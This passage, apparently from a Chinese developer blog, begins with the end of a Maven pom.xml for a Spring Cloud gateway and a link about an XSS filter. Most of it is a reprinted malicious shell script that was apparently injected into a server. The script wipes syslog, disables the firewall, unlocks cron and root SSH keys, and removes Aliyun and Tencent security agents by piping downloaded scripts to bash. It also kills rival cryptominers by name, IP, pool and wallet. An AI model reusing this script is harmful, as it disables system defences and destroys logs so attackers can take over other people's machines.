  25. <type>pom</type>
  26. <scope>import</scope>
  27. </dependency>
  28. <dependency>
  29. <groupId>com.alibaba.cloud</groupId>
  30. <artifactId>spring-cloud-alibaba-dependencies</artifactId>
  31. <version>${spring.cloud.alibaba.version}</version>
  32. <type>pom</type>
  33. <scope>import</scope>
  34. </dependency>
  35. <dependency>
  36. <groupId>org.springframework.boot</groupId>
  37. <artifactId>spring-boot-starter-actuator</artifactId>
  38. <version>${spring.boot.version}</version>
  39. </dependency>
  40. <dependency>
  41. <groupId>com.alibaba.cloud</groupId>
  42. <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
  43. <version>${spring.cloud.alibaba.version}</version>
  44. </dependency>
  45. <dependency>
  46. <groupId>org.springframework.cloud</groupId>
  47. <artifactId>spring-cloud-starter-netflix-ribbon</artifactId>
  48. <version>${spring.cloud.alibaba.version}</version>
  49. </dependency>
  50. <dependency>
  51. <groupId>com.alibaba.cloud</groupId>
  52. <artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId>
  53. <version>${spring.cloud.alibaba.version}</version>
  54. </dependency>
  55. <dependency>
  56. <groupId>org.apache.dubbo</groupId>
  57. <artifactId>dubbo</artifactId>
  58. <version>${dubbo.version}</version>
  59. </dependency>
  60. <dependency>
  61. <groupId>org.apache.dubbo</groupId>
  62. <artifactId>dubbo-spring-boot-starter</artifactId>
  63. <version>${dubbo.version}</version>
  64. </dependency>
  65. </dependencies>
  66. <dependency>
  67. <groupId>org.springframework.cloud</groupId>
  68. <artifactId>spring-cloud-starter-gateway</artifactId>
  69. <version>3.1.3</version>
  70. </dependency>
  71. <dependency>
  72. <groupId>org.springframework.boot</groupId>
  73. <artifactId>spring-boot-starter-webflux</artifactId>
  74. <version>2.6.8</version>
  75. </dependency>
  76. <dependency>
  77. <groupId>org.springframework.cloud</groupId>
  78. <artifactId>spring-cloud-starter-loadbalancer</artifactId>
  79. <version>3.1.3</version>
  80. </dependency>
  81. <dependency>
  82. <groupId>org.hdrhistogram</groupId>
  83. <artifactId>HdrHistogram</artifactId>
  84. <version>2.1.12</version>
  85. </dependency>
  86. </dependencyManagement>
  87. <!--启动找不到主类配置 -->
  88. <build>
  89. <plugins>
  90. <plugin>
  91. <groupId>org.springframework.boot</groupId>
  92. <artifactId>spring-boot-maven-plugin</artifactId>
  93. <executions>
  94. <execution>
  95. <phase>package</phase>
  96. <goals>
  97. <goal>repackage</goal>
  98. </goals>
  99. </execution>
  100. </executions>
  101. <configuration>
  102. <includeSystemScope>true</includeSystemScope>
  103. <mainClass>xxxxx.xxxxxx(主类)</mainClass>
  104. </configuration>
  105. </plugin>
  106. </plugins>
  107. </build>

       如果上面缺少啥依赖就去maven仓库中搜索添加即可,上面是版本统一管理,只需要子模块中引入父工程的这个pom依赖,然后导入依赖上面的依赖,不用指定版本。

5.2使用webFlux的全局filter做一个XSS的转义处理

  1. // 参考 思路自定义一个全局的filter然后实现xss处理
  2. https://blog.csdn.net/WXF_Sir/article/details/123983931

 6.注入脚本分享

  1. #!/bin/sh
  2. ulimit -n 65535
  3. rm -rf /var/log/syslog
  4. chattr -iua /tmp/
  5. chattr -iua /var/tmp/
  6. chattr -R -i /var/spool/cron
  7. chattr -i /etc/crontab
  8. ufw disable
  9. iptables -F
  10. echo "nope" >/tmp/log_rot
  11. sudo sysctl kernel.nmi_watchdog=0
  12. echo '0' >/proc/sys/kernel/nmi_watchdog
  13. echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
  14. userdel akay
  15. userdel vfinder
  16. chattr -iae /root/.ssh/
  17. chattr -iae /root/.ssh/authorized_keys
  18. rm -rf /tmp/addres*
  19. rm -rf /tmp/walle*
  20. rm -rf /tmp/keys
  21. pkill -f /tmp/.out
  22. ps aux| grep "./ll1"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  23. if ps aux | grep -i '[a]liyun'; then
  24. curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  25. curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  26. pkill aliyun-service
  27. rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  28. rm -rf /usr/local/aegis*
  29. systemctl stop aliyun.service
  30. systemctl disable aliyun.service
  31. service bcm-agent stop
  32. yum remove bcm-agent -y
  33. apt-get remove bcm-agent -y
  34. elif ps aux | grep -i '[y]unjing'; then
  35. /usr/local/qcloud/stargate/admin/uninstall.sh
  36. /usr/local/qcloud/YunJing/uninst.sh
  37. /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  38. fi
  39. netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  40. netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  41. netstat -anp | grep "207.38.87.6" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  42. netstat -anp | grep "34.81.218.76:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  43. netstat -anp | grep "42.112.28.216:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  44. pkill -f .git/kthreaddw
  45. ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
  46. pkill -f 42.112.28.216
  47. netstat -anp | grep "127.0.0.1:52018" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  48. netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  49. netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  50. netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  51. netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  52. netstat -anp | grep :4444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  53. netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  54. netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  55. netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  56. netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  57. netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  58. netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  59. netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  60. netstat -anp | grep :14444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  61. netstat -anp | grep :14433 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  62. netstat -anp | grep :13531 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  63. cat /tmp/.X11-unix/01|xargs -I % kill -9 %
  64. cat /tmp/.X11-unix/11|xargs -I % kill -9 %
  65. cat /tmp/.X11-unix/22|xargs -I % kill -9 %
  66. cat /tmp/.pg_stat.0|xargs -I % kill -9 %
  67. cat /tmp/.pg_stat.1|xargs -I % kill -9 %
  68. cat $HOME/data/./oka.pid|xargs -I % kill -9 %
  69. pkill -f 80.211.206.105
  70. pkill -f 207.38.87.6
  71. pkill -f p8444
  72. pkill -f supportxmr
  73. pkill -f monero
  74. pkill -f zsvc
  75. pkill -f pdefenderd
  76. pkill -f updatecheckerd
  77. pkill -f cruner
  78. pkill -f dbused
  79. pkill -f bashirc
  80. pkill -f meminitsrv
  81. pkill -f kthreaddi
  82. pkill -f srv00
  83. pkill -f /tmp/.javae/javae
  84. pkill -f .javae
  85. pkill -f .syna
  86. pkill -f .main
  87. pkill -f xmm
  88. pkill -f solr.sh
  89. pkill -f /tmp/.solr/solrd
  90. pkill -f /tmp/javac
  91. pkill -f /tmp/.go.sh
  92. pkill -f /tmp/.x/agetty
  93. pkill -f /tmp/.x/kworker
  94. pkill -f c3pool
  95. pkill -f /tmp/.X11-unix/gitag-ssh
  96. pkill -f /tmp/1
  97. pkill -f /tmp/okk.sh
  98. pkill -f /tmp/gitaly
  99. pkill -f /tmp/.x/kworker
  100. pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  101. pkill -f /tmp/.X11-unix/supervise
  102. pkill -f /tmp/.ssh/redis.sh
  103. ps aux| grep "./udp"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  104. ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  105. ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  106. ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
  107. ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
  108. ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
  109. ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
  110. ps aux| grep "sleep 60"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  111. ps aux| grep "./crun"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  112. ps aux | grep -vw kdevtmpfsi | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
  113. ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
  114. ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
  115. ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
  116. ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
  117. ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
  118. ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
  119. ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
  120. ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
  121. ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
  122. ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
  123. ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
  124. ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
  125. ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
  126. ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
  127. ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
  128. ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
  129. ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
  130. ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
  131. ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
  132. ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
  133. ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
  134. ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
  135. ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
  136. ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
  137. ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
  138. ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
  139. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  140. ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
  141. ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
  142. ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
  143. ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
  144. ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
  145. ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
  146. ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
  147. ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
  148. ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
  149. ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
  150. ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
  151. ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
  152. ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
  153. ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
  154. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  155. ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
  156. ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
  157. ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
  158. ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
  159. ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
  160. ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
  161. ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
  162. ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
  163. ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
  164. ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
  165. ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
  166. ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
  167. ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
  168. ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
  169. ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
  170. ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
  171. ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
  172. ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
  173. ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
  174. ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
  175. ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
  176. ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
  177. ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
  178. ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
  179. ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
  180. ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
  181. ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
  182. ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi|grep -v postgresq1 | awk '$3>80.0{print $2}' | xargs -I % kill -9 %
  183. ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
  184. ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
  185. ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
  186. ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
  187. ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
  188. ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
  189. ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
  190. ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
  191. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  192. ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
  193. ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
  194. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  195. ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
  196. ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
  197. ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
  198. ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
  199. ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
  200. ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  201. ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  202. ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  203. ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  204. ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  205. ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  206. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  207. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  208. ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
  209. ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  210. ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  211. ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  212. ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  213. ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  214. ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  215. ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  216. ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  217. ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  218. ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  219. ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
  220. ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
  221. ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
  222. ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
  223. ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
  224. ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
  225. ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
  226. ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
  227. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
  228. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
  229. ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
  230. ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
  231. ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
  232. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
  233. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
  234. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
  235. ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
  236. ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
  237. ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
  238. ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
  239. netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  240. netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  241. netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  242. netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  243. netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  244. systemctl stop c3pool_miner.service
  245. pkill -f pastebin
  246. pkill -f ssh-agent
  247. pkill -f 185.193.127.115
  248. pgrep -f monerohash | xargs -I % kill -9 %
  249. pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
  250. pgrep -f xzpauectgr | xargs -I % kill -9 %
  251. pgrep -f slxfbkmxtd | xargs -I % kill -9 %
  252. pgrep -f mixtape | xargs -I % kill -9 %
  253. pgrep -f addnj | xargs -I % kill -9 %
  254. pgrep -f 200.68.17.196 | xargs -I % kill -9 %
  255. pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
  256. pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
  257. pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
  258. pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
  259. pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
  260. pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
  261. pgrep -f mqdsflm.cf | xargs -I % kill -9 %
  262. pgrep -f stratum | xargs -I % kill -9 %
  263. pgrep -f lower.sh | xargs -I % kill -9 %
  264. pgrep -f ./ppp | xargs -I % kill -9 %
  265. pgrep -f cryptonight | xargs -I % kill -9 %
  266. pgrep -f ./seervceaess | xargs -I % kill -9 %
  267. pgrep -f ./servceaess | xargs -I % kill -9 %
  268. pgrep -f ./servceas | xargs -I % kill -9 %
  269. pgrep -f ./servcesa | xargs -I % kill -9 %
  270. pgrep -f ./vsp | xargs -I % kill -9 %
  271. pgrep -f ./jvs | xargs -I % kill -9 %
  272. pgrep -f ./pvv | xargs -I % kill -9 %
  273. pgrep -f ./vpp | xargs -I % kill -9 %
  274. pgrep -f ./pces | xargs -I % kill -9 %
  275. pgrep -f ./rspce | xargs -I % kill -9 %
  276. pgrep -f ./haveged | xargs -I % kill -9 %
  277. pgrep -f ./jiba | xargs -I % kill -9 %
  278. pgrep -f ./watchbog | xargs -I % kill -9 %
  279. pgrep -f ./A7mA5gb | xargs -I % kill -9 %
  280. pgrep -f kacpi_svc | xargs -I % kill -9 %
  281. pgrep -f kswap_svc | xargs -I % kill -9 %
  282. pgrep -f kauditd_svc | xargs -I % kill -9 %
  283. pgrep -f kpsmoused_svc | xargs -I % kill -9 %
  284. pgrep -f kseriod_svc | xargs -I % kill -9 %
  285. pgrep -f kthreadd_svc | xargs -I % kill -9 %
  286. pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
  287. pgrep -f kintegrityd_svc | xargs -I % kill -9 %
  288. pgrep -f jawa | xargs -I % kill -9 %
  289. pgrep -f oracle.jpg | xargs -I % kill -9 %
  290. pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
  291. pgrep -f 188.209.49.54 | xargs -I % kill -9 %
  292. pgrep -f 181.214.87.241 | xargs -I % kill -9 %
  293. pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
  294. pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
  295. pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
  296. pgrep -f servim | xargs -I % kill -9 %
  297. pgrep -f kblockd_svc | xargs -I % kill -9 %
  298. pgrep -f native_svc | xargs -I % kill -9 %
  299. pgrep -f ynn | xargs -I % kill -9 %
  300. pgrep -f 65ccEJ7 | xargs -I % kill -9 %
  301. pgrep -f jmxx | xargs -I % kill -9 %
  302. pgrep -f 2Ne80nA | xargs -I % kill -9 %
  303. pgrep -f sysstats | xargs -I % kill -9 %
  304. pgrep -f systemxlv | xargs -I % kill -9 %
  305. pgrep -f watchbog | xargs -I % kill -9 %
  306. pgrep -f OIcJi1m | xargs -I % kill -9 %
  307. pkill -f biosetjenkins
  308. pkill -f Loopback
  309. pkill -f apaceha
  310. pkill -f cryptonight
  311. pkill -f stratum
  312. pkill -f mixnerdx
  313. pkill -f performedl
  314. pkill -f JnKihGjn
  315. pkill -f irqba2anc1
  316. pkill -f irqba5xnc1
  317. pkill -f irqbnc1
  318. pkill -f ir29xc1
  319. pkill -f conns
  320. pkill -f irqbalance
  321. pkill -f crypto-pool
  322. pkill -f XJnRj
  323. pkill -f mgwsl
  324. pkill -f pythno
  325. pkill -f jweri
  326. pkill -f lx26
  327. pkill -f NXLAi
  328. pkill -f BI5zj
  329. pkill -f askdljlqw
  330. pkill -f minerd
  331. pkill -f minergate
  332. pkill -f Guard.sh
  333. pkill -f ysaydh
  334. pkill -f bonns
  335. pkill -f donns
  336. pkill -f kxjd
  337. pkill -f Duck.sh
  338. pkill -f bonn.sh
  339. pkill -f conn.sh
  340. pkill -f kworker34
  341. pkill -f kw.sh
  342. pkill -f pro.sh
  343. pkill -f polkitd
  344. pkill -f acpid
